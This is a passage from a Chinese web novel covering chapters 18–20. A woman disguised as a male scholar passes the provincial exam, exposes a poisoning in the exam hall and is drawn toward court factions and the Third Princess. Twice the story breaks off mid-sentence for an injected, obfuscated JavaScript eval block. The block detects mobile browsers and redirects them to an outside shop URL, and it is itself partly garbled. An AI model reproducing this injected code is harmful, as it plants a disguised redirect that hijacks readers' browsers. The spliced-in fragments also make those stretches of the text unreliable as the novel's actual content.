“奴家琴艺粗陋,当不起谢公子一个谢字。”云知意垂眸,“倒是公子今日在国子监的文会,才是真精彩。” 谢青梧手一顿:“云姑娘如何知道?” “春风阁离国子监不远,消息传得快。”云知意语气平淡,“听说公子一番高论,连徐博士都刮目相看。” 她说得轻巧,但谢青梧心里明白,文会结束不到一个时辰,消息就传到春风阁,这速度不正常。 除非,有人特意关注。 “云姑娘似乎对国子监的事很关心。”谢青梧试探道。 云知意抬眼,目光清凌凌的:“奴家关心所有有趣的事。谢公子这样的人出现在京城,本就很有趣。” 两人对视片刻。 云知意忽然笑了:“公子别紧张。奴家没有恶意。只是觉得……公子不像普通的读书人。” “哪里不像?” “眼神。”云知意道,“普通读书人眼里,要么是功名,要么是风月。公子眼里,有别的。” “比如?” “比如……”云知意顿了顿,“不甘。” 这个词用得准。谢青梧握着茶杯,没说话。 云知意起身,走到窗边:“奴家也是女子,知道这世道对女子如何。所以看到公子这样的男子,能为女子说话,能为寒门说话,总觉得……难得。” 她回头:“但公子要小心。京城这地方,容得下圆滑,容不下尖锐。公子这把刀,太利了。” 这话和严博士说的如出一辙。 谢青梧放下茶杯:“多谢姑娘提醒。但刀已经出鞘,就不能再藏回去。” 云知意看着她,良久,轻声道:“那奴家就祝公子……刀锋所向,皆成坦途。” 她从案下取出一个小木盒,推过来:“一点心意,公子收着。” 谢青梧打开,里面是几支上好的狼毫笔,还有一锭徽墨。 “这太贵重了。” “笔墨赠君子,正合适。”云知意道,“秋闱在即,公子用得上。” 谢青梧没再推辞。她收下木盒,起身告辞。 走到门口时,云知意忽然叫住她:“谢公子。” “姑娘还有事?” “若将来……公子遇到难处,可以来找我。”云知意声音很轻,“春风阁虽然只是乐坊,但有时候,消息比别处灵通。” 这话里有话。谢青梧点头:“我记住了。” 从春风阁出来,已是黄昏。街市上灯火初上,行人匆匆。 慕容芷在街角等她,脸色不太好看。 “怎么了?”谢青梧问。 “公子,陆执又出现了。”慕容芷低声道,“他今天去了国子监,找徐博士问话。我偷听到一点……他在查你的户籍。” 终于来了。谢青梧深吸口气:“查到什么了?” “还不知道。但徐博士好像没说什么。”慕容芷道,“不过陆执这人,不查到东西不会罢休。” 谢青梧点点头。她早就料到会有这一天,只是没想到这么快。 回到住处,她拿出顾临渊给的那块玉佩,看了很久,最终又收了起来。 还不到用的时候。 夜里,她坐在灯下,翻开严博士送来的保书。字迹工整,印章鲜红,一切都合规。 有了这个,她就能参加秋闱了。 但秋闱只是开始。后面还有会试,殿试,还有更长的路。 她提笔,在纸上写下一行字:“刀已出鞘,当磨其锋。” 但她没有退路,从来没有。 18. 秋闱 秋闱开考那日,京城下起了淅淅沥沥的秋雨。 天还没亮透,贡院外就已经挤满了人。考生、送考的家人、卖早点的摊贩、维持秩序的衙役,把整条街堵得水泄不通。雨丝混着灯笼的光,在青石板路上晕开一片片水渍。 谢青梧撑着伞站在人群里,身后跟着慕容芷。她的考篮里装着笔墨纸砚、干粮清水,还有严博士给的保书。雨打在油纸伞上,噼啪作响。 “公子,伞拿好。”慕容芷把伞又往她这边偏了偏,自己半边肩膀湿了。 “没事。”谢青梧接过伞,看了眼天色,“时辰快到了。” 贡院的大门缓缓打开,两列衙役持刀而立。主考官穿着官服站在阶上,声音洪亮:“考生列队,查验入场!” 队伍开始蠕动。谢青梧随着人流往前挪,到门口时递上考篮和保书。查验的官员仔细核对了保书,又打量她几眼:“谢怀瑾?” “是。” “进去吧。” 跨过贡院高高的门槛,里面是另一番天地。庭院深深,两侧是一排排低矮的号舍,像蜂巢般密密麻麻。雨雾中,只能看见影影绰绰的人影在各处走动。 谢青梧找到自己的号舍,地字十七号。这位置不错,在中间排,不靠边,不漏雨。她放下考篮,先检查号舍:木板床铺着草席,号板当书桌,墙角有个瓦盆当便桶。虽然简陋,但还算干净。 她刚铺好油布,准备摆开笔墨,隔壁号舍传来一声惊呼:“我的墨!” 转头看去,是个面生的年轻学子,正手忙脚乱地收拾打翻的砚台。墨汁泼了一地,染黑了他的衣摆。 谢青梧从自己考篮里取出一块备用墨锭,递过去:“先用这个。” 那学子一愣,随即感激涕零:“多谢兄台!这……这怎么好意思……” “考试要紧。”谢青梧摆摆手,转回自己的号舍。 辰时整,鼓声响起。考题发下来了。 谢青梧展开卷纸,先快速浏览一遍。头场考四书五经,三道题:《大学》的“格物致知”,《孟子》的“民贵君轻”,还有一道诗题,要求以“秋雨”为意作七律。 她深吸口气,研墨提笔。 “格物致知”这题,她没按常规解释,而是从“物”字入手,写“物有本末,事有始终”,引申到治国,格物不仅是格书本之物,更是格天下万物;致知不仅是知圣贤之言,更是知百姓疾苦。 写到一半,雨忽然大了。豆大的雨点砸在号舍的瓦檐上,噼里啪啦像炒豆子。风卷着雨丝从门缝钻进来,打湿了卷纸一角。 谢青梧连忙用镇纸压住,又扯了块布巾塞住门缝。正忙着,听见隔壁传来压抑的咳嗽声,是刚才那个打翻墨的学子。 她侧耳听了听,那咳嗽声越来越急,带着痰音。 犹豫片刻,她起身敲了敲隔板:“兄台可还好?” 隔壁静了一瞬,然后传来虚弱的声音:“还……还好,就是有些喘。” 谢青梧想了想,从考篮里摸出个小瓷瓶。治风寒咳嗽的。她把药从隔板下递过去:“我这儿有些药丸,你含一颗试试。” 那学子接过,道了谢。不多时,咳嗽声渐渐平息。 谢青梧这才安心继续答卷。等三道题都写完,已是午后。雨小了些,变成绵绵的细雨。她检查一遍卷子,确认无误,才收拾东西,靠在墙边闭目养神。 第一场考完,考生可以出号舍活动一刻钟。谢青梧走到院子里透气,看见那个打翻墨的学子也出来了,脸色还是苍白,但精神好了些。 “多谢兄台赠药。”他走过来拱手,“在下李慕白,江陵人士。” “谢怀瑾。”谢青梧回礼,“李兄身体可好些?” “好多了。”李慕白苦笑,“昨夜紧张得没睡好,今早又淋了雨,这才……让谢兄见笑了。” 两人正说着,忽然听见东边号舍传来喧哗。几个衙役匆匆跑过去,不多时,抬出一个人来——那考生脸色青紫,口吐白沫,浑身抽搐。 “是癫痫!”有人惊呼。 考场里顿时骚动起来。主考官闻讯赶来,见状皱眉:“快抬出去,请大夫!” 谢青梧看着那考生被抬走,心里一沉。癫痫发作,若处理不当,可能致命。但考场规矩森严,她不能贸然上前。 正想着,李慕白忽然低声道:“谢兄,你看那人……” 顺着他的目光看去,谢青梧看见一个穿着考务服饰的中年人,正鬼鬼祟祟地往号舍深处走,手里似乎攥着什么东西。那人神色慌张,经过癫痫考生倒下的地方时,脚步明显加快。 有问题。 谢青梧给李慕白使了个眼色,两人悄悄跟了上去。那中年人走到天字号一排,左右张望,见没人注意,迅速将手里的东西塞进一个号舍的砖缝里。 做完这些,他若无其事地转身离开,迎面撞上谢青梧和李慕白。 “二位有事?”他故作镇定。 谢青梧盯着他的眼睛:“方才那位发病的考生,大人可认识?” “不、不认识。”中年人眼神闪烁,“考场之内,不要随意走动,快回自己号舍去!” 他说完匆匆走了。谢青梧走到那个号舍前,蹲下身,从砖缝里抠出一个小纸包。打开一看,里面是几粒黑色药丸。 李慕白凑过来看:“这是……” “毒药。”谢青梧闻了闻,脸色凝重,“能诱发癫痫的毒药。下在饮食里,一两个时辰后发作。” “有人要害人?”李慕白倒吸一口凉气,“那刚才发病的考生……” “可能是被下毒了。”谢青梧将药包收好,“李兄,这事先不要声张。等考试结束,我们去找主考官。” 李慕白重重点头。 第二场考策论,题目是“论漕运利弊”。谢青梧看到这题,立刻想起顾临渊查的江南盐税案,还有王崇年那个转运使。 她没有直接写漕运现状,而是从“漕”字的本义说起,水运粮也。然后笔锋一转,写漕运本为利民,何以成害?接着列举了几大弊病:一是各级官吏层层盘剥,运粮十石,到京只剩五六石;二是漕船挟带私货,甚至夹带走私盐铁;三是沿途征调民夫,耽误农时。 最后提出三条建议:一是改革漕运管理,设专门衙门,直接对户部负责;二是允许漕船带一定比例商货,但需纳税,既增加国库收入,又减少夹带;三是沿途设常备纤夫,发工钱,不扰民。 写完这些,她犹豫了一下,还是加了一句:“漕运之弊,根在吏治。若吏治清明,则百弊自消。” 这话可能会得罪人,但她觉得该说。 第二场考完,天已经黑了。雨停了,月亮从云层后露出来,清冷冷地照着贡院的屋瓦。 谢青梧在号舍里吃了干粮,正准备休息,忽然听见外面有脚步声。不是巡夜的衙役,脚步声很轻,走走停停,像是在找什么。 她警觉地坐起身,从门缝往外看。月光下,一个黑影正在各号舍间逡巡,手里拿着个小本子,不时记着什么。 是陆执。 虽然换了常服,但那个身形、那个走路的姿态,谢青梧一眼就认出来了。锦衣卫居然进了考场,还是在夜里。 她屏住呼吸,看着陆执走到她这排号舍。他在每个号舍前都停留片刻,似乎在核对什么。到她的号舍时,停留的时间格外长。 谢青梧能感觉到,陆执的目光正透过门缝往里看。她一动不动,假装睡着了。 良久,陆执离开了。 她这才松口气,背后已经出了一层冷汗。陆执到底在查什么?如果只是例行巡查,何必这么仔细? 一夜无眠。 第三场考经史时务,题目更灵活。有一道题让谢青梧沉思良久:“今有女子欲入学读书,或以为有违礼教,或以为有益教化,试论之。” 这是道送分题,也是道送命题。若按常理论,该说“女子无才便是德”,但这不是她的真心话。若说实话,又可能触怒考官。 她提笔,写下破题:“礼教者,所以正人心、美风俗也。然时移世易,礼亦当因时而变。” 然后从历史说起,引班昭续《汉书》、蔡琰作《悲愤诗》,证明女子有才无损德行。再说到现实,女子若识字,能理家、能教子、能记账,于家于国都有利。 最后她写道:“教化之本,在开民智。民不分男女,智皆当开。若因噎废食,恐失教化本意。” 写完这篇,她忽然觉得,也许这道题是特意出的,是试探,也是机会。 三场考完,已是第三日午后。考生们陆续走出贡院,个个面有菜色,脚步虚浮。但眼里都有光,那是解脱的光。 谢青梧在门口遇见李慕白。他脸色好了许多,看见她就笑:“谢兄,我那道漕运题,用了你的思路,写得痛快!” “恭喜李兄。”谢青梧也笑。 两人正要分别,李慕白忽然压低声音:“谢兄,那个药包……咱们真要去告发吗?” “要。”谢青梧道,“不然可能还有考生受害。” “可是……”李慕白犹豫,“万一牵扯到什么大人物……” “正因可能牵扯大人物,才更要告发。”谢青梧看着他,“李兄,科举是国家抡才大典,若连这里都能下毒害人,那这朝堂,还有干净地方吗?” 李慕白沉默片刻,重重点头:“好,我跟你一起去。” 他们找到主考官时,主考官正在后堂休息,听说有事禀报,有些不耐烦:“考都考完了,还有何事?” 谢青梧呈上那个药包,又将所见说了一遍。主考官听完,脸色变了:“你们确定是考务人员?” “确定。”谢青梧道,“那人穿着考务服饰,对考场很熟悉。而且他藏药的地方,恰好在天字三号,那是刘瑾刘公子的号舍。” 主考官霍然起身:“刘瑾?国子监祭酒的外甥?” “是。” 主考官在屋里踱了几步,忽然停下:“这事……你们先不要声张。药包留下,本官自会查办。” 这话说得敷衍。谢青梧心里明白,主考官是不想惹麻烦。刘瑾的背景,确实让人忌惮。 她和李慕白退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946684|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出后堂。李慕白叹气:“看来这事要不了了之了。” “未必。”谢青梧看向贡院大门外,“主考官不想管,有人想管。” 门外,陆执正站在那里,似乎在等人。见她出来,他走了过来。 “谢公子考完了?”陆执语气平淡。 “陆大人是在等我?”谢青梧直视他。 陆执没否认:“有点事想问。关于考场里……某些异常。” 谢青梧心里一动,将药包的事简单说了。陆执听完,眼神锐利起来:“药包现在在谁手里?” “主考官那儿。” 陆执点点头,转身就要走。谢青梧叫住他:“陆大人,那个发病的考生……” “已经救过来了。”陆执回头,“大夫说,是中了毒。” 果然。谢青梧握紧拳头。 陆执看着她:“谢公子,这事你做得对。但往后,这种事少管。” “为什么?” “因为你管不起。”陆执淡淡道,“刘瑾背后的人,比你想象的多。这次是你运气好,下次未必。” 他说完走了,背影消失在贡院外的长街。 李慕白走过来,担忧道:“谢兄,你得罪人了。” “不得罪也得罪了。”谢青梧苦笑,“走吧,回家好好睡一觉。” 两人在街口分别。谢青梧独自往住处走,秋风吹过,满街落叶。考完了,但心里并不轻松。 回到小院,慕容芷已经备好了热水热饭。谢青梧泡了个澡,换了干净衣裳,坐在灯下发呆。 “公子,考得如何?”慕容芷问。 “不知道。”谢青梧实话实说,“该写的都写了,能不能中,看天意。” 其实她心里有数,那几篇文章,篇篇都是心里话,但也篇篇都可能惹祸。尤其最后那道女子入学的题,她几乎是把心里想法全写出来了。 正想着,院门被敲响了。 慕容芷去开门,回来时手里拿着封信:“公子,有人送来的,没留名字。” 谢青梧拆开信,里面只有一行字:“文章已阅,静待佳音。慎言。”字迹清峻,她认得,是严博士的笔迹。 严博士阅过她的文章?这么说,考官里有他的人?或者,严博士本人就是考官之一? 她烧了信,心里却更乱了。 这一夜,她睡得不安稳。梦里都是考场的事:发病的考生,藏药的中年人,陆执锐利的眼神,还有严博士那句“慎言”。 三天后,放榜。 谢青梧没去看,在院里等消息。慕容芷去了,半晌才回来,脸色古怪。 “中了?”谢青梧问。 “中了。”慕容芷点头,“第七名。” 第七名。不算高,但也不低。秋闱取八十名举人,第七名算是上等了。 谢青梧松了口气,又问:“前六名都是谁?” “第一名是刘瑾。”慕容芷皱眉,“第二名李慕白,第三名赵文启……第六名是沈知微。” 刘瑾第一?谢青梧一怔。以刘瑾的才学,能中举就不错了,怎么会是第一? 正疑惑着,院门又被敲响了。这次来的是李慕白,一脸喜色:“谢兄!我中了第二!多亏你那篇漕运文章!” “恭喜李兄。”谢青梧拱手,“不过刘瑾第一……” 李慕白笑容淡了,压低声音:“我也觉得蹊跷。刘瑾那篇文章我看了,平平无奇,怎么可能第一?而且……”他顿了顿,“我听说,主考官是刘瑾舅舅的门生。” 果然。谢青梧心里冷笑。科举的公平,从来都是相对的。 “算了,能中就好。”李慕白拍拍她的肩,“谢兄第七,也很不错了。明年会试,咱们再一较高下!” 送走李慕白,谢青梧坐在院里,看着满地黄叶。第七名,这个名次很微妙,既显示了她有才学,又不至于太扎眼。是有人故意这么排的吗? 正想着,第三批访客到了。 是赵文启,带着几个家丁,抬着两个大箱子。一进门就笑:“怀瑾啊,恭喜恭喜!第七名,厉害!” “赵公子第三名,更厉害。”谢青梧道。 “那是运气。”赵文启摆手,让家丁打开箱子,里面是绸缎、文房四宝、还有一封银子,“一点贺礼,不成敬意。” 谢青梧推辞不受。赵文启硬塞给她:“拿着吧,往后咱们就是同年了,互相照应。” 这话说得直白——同年之谊,是官场上重要的人脉。赵文启这是在拉拢她。 送走赵文启,天已经黑了。谢青梧看着那两箱礼物,心里五味杂陈。 中了举,就有了做官的资格,也有了更多的人情往来。这条路,她走得战战兢兢。 夜里,她坐在灯下,提笔给江州的周子砚写信。写到一半,忽然停了笔。 远处隐约传来丝竹声,是哪个酒楼在庆祝。京城就是这样,有人欢喜有人愁。 她想起考场里那个发病的考生。 这条路,比她想象的更难走。 但她已经走到了这里,就不能回头。 19. 举人宴 举人宴设在琼林苑。 这是朝廷为新科举人设的惯例宴席,虽比不上殿试后的琼林宴隆重,但也算是一桩盛事。苑内张灯结彩,礼乐齐鸣,八十一张桌案排成九列,取“九九归一,天下英才”之意。 谢青梧到得早,坐在自己的席位上,第七列第一席。按规矩,排名越前离主位越近,刘瑾作为解元,自然坐在第一列首位。她远远望过去,看见刘瑾正与几位官员谈笑风生,意气风发。 陆续有新科举人到场。李慕白在她对面坐下,压低声音:“谢兄看见没?刘瑾旁边那位,是吏部文选司的郎中,管官员铨选的。” 谢青梧点头。科举之后就是授官,刘瑾这是在提前铺路。 赵文启也来了,坐在她旁边,笑嘻嘻道:“怀瑾,今儿可是好日子。一会儿少喝点酒,别失态。” “多谢赵兄提醒。” 说话间,礼乐声起,主考官和几位副考官入席。主考官姓吴,是礼部侍郎,清瘦矍铄,目光如电。他举杯说了几句场面话,无非是勉励众举人“忠心报国”“不负所学”,众人起身应和。 酒过三巡,气氛活络起来。举人们互相敬酒,交换名帖,谈论文章。谢青梧安静坐着,偶尔与人应酬几句,并不多话。 但有人不想让她安静。 刘瑾端着酒杯走过来,身后跟着几个跟班。他停在谢青梧席前,举杯笑道:“谢公子,久仰大名。今日同席,敬你一杯。” 谢青梧起身:“刘解元客气。” 两人对饮一杯。刘瑾却不走,反而在她席旁坐下:“谢公子那篇漕运文章,我拜读了。写得……很有见地。” 这话听着像夸赞,但语气不对。谢青梧不动声色:“刘解元过奖。” “不过奖。”刘瑾晃着酒杯,“只是我有些不解,谢公子一个江州人,怎么对漕运之事如此熟悉?连沿途征调民夫、纤夫工钱这些细节都清楚?” 周围渐渐安静下来,不少人都竖起耳朵听。 谢青梧放下酒杯:“学生曾在江州码头帮工记账,见过漕船装卸。至于纤夫工钱,是听来往客商所说。刘解元若有疑问,可查证。” “查证倒不必。”刘瑾笑得意味深长,“只是觉得谢公子见识广博,不像寻常寒门学子。听说……谢公子在江州时,还帮一位林姓女商人打官司?” 这话一出,席间响起低语。女子经商本就惹人议论,何况还涉及官司。 谢青梧神色不变:“路见不平而已。律法之前,男女皆可为己申辩。” “好一个‘路见不平’。”刘瑾站起身,声音抬高,“只是我有些好奇,谢公子这般热心为女子出头,文章里又处处为女子说话,莫非……有什么特别的缘故?” 这话问得阴毒。席上众人都看向谢青梧,眼神各异。 李慕白想站起来说话,被谢青梧用眼神制止。她缓缓起身,看着刘瑾:“刘解元这话,倒让我想起一件旧事。” “哦?” “前朝大儒沈墨沈山长,曾为一位蒙冤的女乐师作证,助其脱罪。”谢青梧声音清朗,“时人讥他‘有损清誉’,沈山长答:‘见义不为,方损清誉’。学生不才,不敢比沈山长,但以为,见不平而鸣,无关男女,只问是非。” 她顿了顿:“倒是刘解元,如此在意学生为谁说话,莫非……有什么特别的忌讳?” 刘瑾脸色一僵。 席间响起几声低笑。沈墨是当朝大儒,门生故旧遍布朝堂,拿他来压人,刘瑾不敢反驳。 “谢公子好口才。”刘瑾干笑两声,悻悻地走了。 一场风波暂时平息。但谢青梧知道,刘瑾不会善罢甘休。 宴至中途,吴侍郎忽然开口:“今科秋闱,有几篇文章写得不错。其中一篇论女子入学,虽观点新奇,但言之有物。是哪位举人所写?” 众人都看向谢青梧。 她起身行礼:“是学生所作。” 吴侍郎打量她:“你叫谢怀瑾?” “是。” “文章我看过了。”吴侍郎缓缓道,“观点大胆,但说理还算清楚。只是……太过超前。若殿试时还这么写,恐怕要吃亏。” 这话是提点。谢青梧躬身:“多谢大人教诲。” “教诲谈不上。”吴侍郎摆摆手,“只是提醒你一句,文章可以写,但要看时机。有些话,现在说太早。” 这话和严博士说的一样。谢青梧心里明白,这位吴侍郎是在委婉地告诉她:你的想法我看到了,但别急着说出来。 宴席继续。谢青梧坐回席间,感觉到更多目光落在身上,好奇的、探究的、忌惮的。 散席时,李慕白走过来,低声道:“谢兄,你今天得罪刘瑾了。他那人心眼小,肯定会报复。” “我知道。”谢青梧看着远处刘瑾与人谈笑的背影,“但他要报复,我也没办法。” “你要小心。”李慕白叮嘱,“最好……最近少出门。” 谢青梧点头应下。 走出琼林苑时,天色已暗。秋风吹过,带起满地落叶。她正要上马车,忽然被人叫住。 “谢公子留步。” 回头一看,是一个穿着普通的布衣,但气质沉静。 是陆执。谢青梧心头一跳,“陆大人找学生有事?” “一点小事。”陆执语气平淡,“想问问谢公子,可认识江州府一个叫谢明远的人?” 谢明远。她的嫡兄。 谢青梧握紧名帖:“认识。是学生的兄长。” “哦?”陆执挑眉,“那谢公子可知道,你兄长最近在江州四处打听你的消息?还托人查你的户籍?” 来了。谢青梧深吸口气:“学生不知。自进京后,与家中联系甚少。” “是吗。”陆执看着她,“可据我所知,谢明远查的不仅是你的消息,还有……你生母的事。” 这话像根针,扎进谢青梧心里。她生母是妾室,早逝,生前在谢家没什么存在感。谢明远查这个做什么? “陆大人为何告诉学生这些?”她问。 “因为我也在查。”陆执直言不讳,“王崇年的案子牵扯甚广,你兄长似乎与王家有些往来。至于查你生母……或许是想找你的把柄。” 把柄。谢青梧明白了。谢明远一直不甘心她这个庶子出头,如今她中了举,更让他嫉恨。查她生母,无非是想找出什么见不得光的事,好毁她前程。 “多谢陆大人告知。”她拱手。 “不必谢我。”陆执道,“我只是提醒你,你兄长那边,我会继续查。但你自己也要小心。有些人,为了利益,什么事都做得出来。” 他说完,转身走了,很快消失在夜色中。 谢青梧站在原地,许久没动。秋风吹过,她觉得有点冷。 慕容芷走过来,给她披上披风:“公子,先回去吧。” 马车里,谢青梧闭目养神。脑海里却翻腾着各种念头:刘瑾的挑衅、吴侍郎的提醒、陆执的警告、谢明远的动作…… 一张网,正从四面八方罩过来。 回到住处,她刚下马车,就看见院门外站着个人。月色下,那身影窈窕,披着淡青斗篷。 是云知意。 “云姑娘?”谢青梧讶然,“这么晚了……” “冒昧来访,还请谢公子见谅。”云知意微微福身,“有件事,必须今晚告诉公子。” 谢青梧将她请进屋。慕容芷端上热茶,退到门外守着。 云知意摘掉斗篷帽,露出一张清丽但苍白的脸。她没喝茶,直截了当道:“谢公子,你被人盯上了。” “我知道。”谢青梧道,“刘瑾,还有我兄长。” “不止。”云知意摇头,“还有宫里的人。” 宫里?谢青梧心头一紧。 “今日举人宴,有位公公在场,你看见了吗?”云知意问。 谢青梧回想起来,宴席末尾确实有个太监打扮的人进来,在吴侍郎耳边说了几句话,又悄悄退下。当时她没在意。 “那是三公主身边的管事太监。”云知意压低声音,“三公主萧玉衡,最爱结交才子。你的文章,已经传到她耳中了。” 三公主。谢青梧记起来了。 “公主看中学生的文章,是好事还是坏事?”她问。 “不好说。”云知意神色凝重,“三公主确实爱才,但她身后是皇后一系,与太子、二皇子都不和。你若被她招揽,就等于卷入了夺嫡之争。” 夺嫡。这两个字像千斤重担。谢青梧沉默了。 云知意继续道:“还有一件事,刘瑾今天在宴上挑衅你,不是偶然。他舅舅,国子监祭酒刘庸,是二皇子的人。二皇子最近在拉拢寒门士子,你的文章和出身,正是他们想要的。” “所以他们让刘瑾试探我?” “是。”云知意点头,“你若服软,他们就会拉拢你;你若强硬,他们就会打压你。今日你没服软,接下来……恐怕会有动作。” 谢青梧揉了揉眉心。京城这潭水,比她想的还要浑。 “云姑娘为何告诉我这些?”她抬眼问。 云知意沉默片刻:“因为我觉得,你和他们不一样。” “哪里不一样?” “你眼里有真心。”云知意轻声道,“那些夸夸其谈的才子,嘴里说着为国为民,心里想的是功名利禄。你不是。你是真的相信一些东西,相信女子可以读书,相信寒门可以出头,相信这世道能变好。” 她顿了顿:“这样的人,不该被那些龌龊手段毁了。” 谢青梧看着她,忽然问:“云姑娘到底是什么人?” 一个乐坊琴师,怎么会知道这么多宫闱秘事、朝堂动向? 云知意笑了,笑容里有一丝苦涩:“我是个……不该知道这么多的人。但既然知道了,就不能装不知道。” 她起身:“谢公子,我能说的就这些。往后如何,看你自己抉择。但记住,在京城,有时候不选,也是一种选。” 她重新披上斗篷,走到门口时又回头:“若真遇到难处,可来春风阁找我。我能帮的,一定帮。” 送走云知意,谢青梧坐在灯下,一夜无眠。 第二天一早,她去了国子监找严博士。 严博士正在整理古籍,见她来了,也不意外:“坐吧。昨晚没睡好?” “学生有事请教。”谢青梧直接道,“若三公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946685|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招揽,学生该如何应对?” 严博士放下手中的书,看着她:“你知道了?” “云姑娘告诉我的。” “云知意……”严博士沉吟,“那丫头倒是个明白人。”他顿了顿,“你想听真话还是假话?” “真话。” “真话就是——你没得选。”严博士道,“寒门出身,无依无靠,在京城就是块肥肉。太子、二皇子、三公主,还有各方势力,都会来咬一口。你躲不过。” “那学生该怎么办?” “选一个相对干净的。”严博士道,“三公主虽然涉足朝政,但她至少真想做点事。她办的女学、慈济堂,不是摆样子。比起太子贪财、二皇子暴戾,她算好的。” “可夺嫡……” “夺嫡是避不开的。”严博士叹气,“皇帝年迈,皇子们虎视眈眈。你不站队,他们就会当你是敌人。站了队,至少有个依靠。” 谢青梧沉默了。 严博士拍拍她的肩:“我知道你不甘心。但这就是现实,你想做事,就得先活下来。活下来,就需要权力。权力从哪儿来?要么自己挣,要么别人给。你现在还没能力自己挣,只能先借别人的力。” 这话说得残酷,但是实话。 “学生明白了。”谢青梧起身,“多谢先生指点。” 从国子监出来,她没回住处,而是去了春风阁。 云知意正在练琴,见她来了,微微一笑:“谢公子想通了?” “想通了。”谢青梧坐下,“请云姑娘指条路。” 云知意停下抚琴:“三公主每旬五在城西慈济堂施粥,明日正是初五。你若‘偶遇’,或许有机会。” “慈济堂……” “那是三公主办的善堂,收养孤寡,施医赠药。”云知意道,“公主每月都会去一次,亲自施粥。你若在那里出现,不会太突兀。” 谢青梧点头:“多谢。” “不必谢我。”云知意重新抚琴,“我只是……不想看到又一个有真心的人,被这世道磨平了棱角。” 琴声起,是一曲《广陵散》。慷慨悲凉,有金戈铁马之声。 谢青梧静静听着,直到一曲终了。 “云姑娘的琴艺,果然了得。”她道。 云知意抬眸:“琴艺再好,也不过是取悦人的玩意儿。比不得谢公子的文章,能说真话。” 这话里有不甘。谢青梧看着她:“云姑娘若想,也可以做更多。” 云知意笑了,笑容里有苦涩:“我一个乐籍女子,能做什么?弹琴,陪笑,等人赏赐。这就是我的命。” “命是可以改的。”谢青梧轻声道。 云知意愣住,看着她,良久,才低声道:“谢公子,你这个人……真是让人忍不住想相信。” 从春风阁出来,已是午后。谢青梧在街上慢慢走,想着明日该如何“偶遇”三公主。 路过一家书局时,她看见橱窗里摆着新刻的《秋闱佳作集》。翻开一看,她的三篇文章都在里面,但被删改了不少,尖锐的词句被抹去,犀利的观点被软化。 她合上书,心里明白:这是吴侍郎或者严博士做的,在保护她。 但被删改的文章,还是她的文章吗? 正想着,身后忽然传来马蹄声。回头一看,竟是陆执,骑着马停在街边。 “谢公子,”陆执翻身下马,“巧啊。” “陆大人。”谢青梧拱手。 陆执看了眼她手里的书:“在看自己的文章?” “随便翻翻。” “翻到什么了?”陆执问。 “翻到……有些话不能说。”谢青梧直言。 陆执笑了:“能明白这点,说明你长进了。”他从怀里掏出封信,“这个给你。” 谢青梧接过,信封上没写字。她拆开一看,里面是几张纸,是她生母在谢家的旧档记录,还有谢明远最近与王家往来的证据。 “这……”她抬头。 “我说过会查。”陆执道,“这些你留着,或许有用。至于你兄长那边……我已经敲打过了,他暂时不会乱来。” “陆大人为何帮我?” 陆执看着街上来往的行人,淡淡道:“锦衣卫不只是抓人,也要防着有人祸乱朝纲。王崇年之流,贪赃枉法,陷害忠良,该查。你……至少目前看,还算个正直的人。” 他顿了顿:“正直的人,在京城活不长。但多活一个,总比少一个好。” 这话说得别扭,但谢青梧听出了里面的意思。 “多谢陆大人。” “别谢太早。”陆执翻身上马,“我帮你,是因为你有用。若哪天你没用了,或者走错了路,我照样抓你。” 他说完,打马走了。 谢青梧看着手里的信纸,心里五味杂陈。 回住处路上,她路过慈济堂。那是一座不大的院子,门开着,里面有几个老人在晒太阳,几个孩童在玩耍。门楣上挂着匾额,写着“慈济众生”四个字,落款是“玉衡”。 三公主的字,清秀中带着刚劲。 谢青梧在门外站了片刻,转身离开。 明日,她要来这里。 20. 公主初遇 慈济堂在城西一条清净的巷子里。 谢青梧到得早,天刚蒙蒙亮。院子里已经热闹起来,几个妇人正在灶台前熬粥,米香混着柴火气飘满院子;几个半大的孩子在扫地、搬柴;角落里坐着几位老人,边晒太阳边拣豆子。 她没急着进去,在门口看了会儿。这里和她想象的不太一样,虽然简陋,但干净整齐;虽然忙碌,但井然有序。一个穿粗布衣裳的妇人正耐心教一个小姑娘认字,手指在沙盘上一笔一划写着。 “公子是来帮忙的?”一个老嬷嬷从屋里出来,打量着她。 谢青梧拱手:“学生谢怀瑾,听说慈济堂需要人手,想来尽份力。” 老嬷嬷笑了:“读书人来这儿的少。公子不嫌弃的话,帮孩子们认几个字吧。” 她被领到院东角的棚子下,那里摆着几张小桌,五六个孩子围坐着,最大的不过十岁,最小的才六七岁。见来了陌生人,都好奇地看着她。 “这位是谢先生,今儿教你们认字。”老嬷嬷说完就去忙了。 谢青梧在桌前坐下,看着这些孩子。有男有女,都穿着打补丁但整洁的衣裳,眼睛亮晶晶的。 “先生,”一个扎着羊角辫的小姑娘怯生生问,“您真是举人老爷吗?” “是。”谢青梧微笑,“但在这里,我就是教你们认字的先生。你们叫什么名字?” 孩子们依次报了名字。她记下,然后问:“你们想学什么字?” “学写自己的名字!”一个虎头虎脑的男孩抢着说。 “好,那就先学名字。” 她从最简单的教起,手把手纠正握笔姿势,一笔一划示范。孩子们学得很认真,小手握着笔,在沙盘上歪歪扭扭地写。那个叫小草的姑娘写得最好,已经能把自己的名字写工整了。 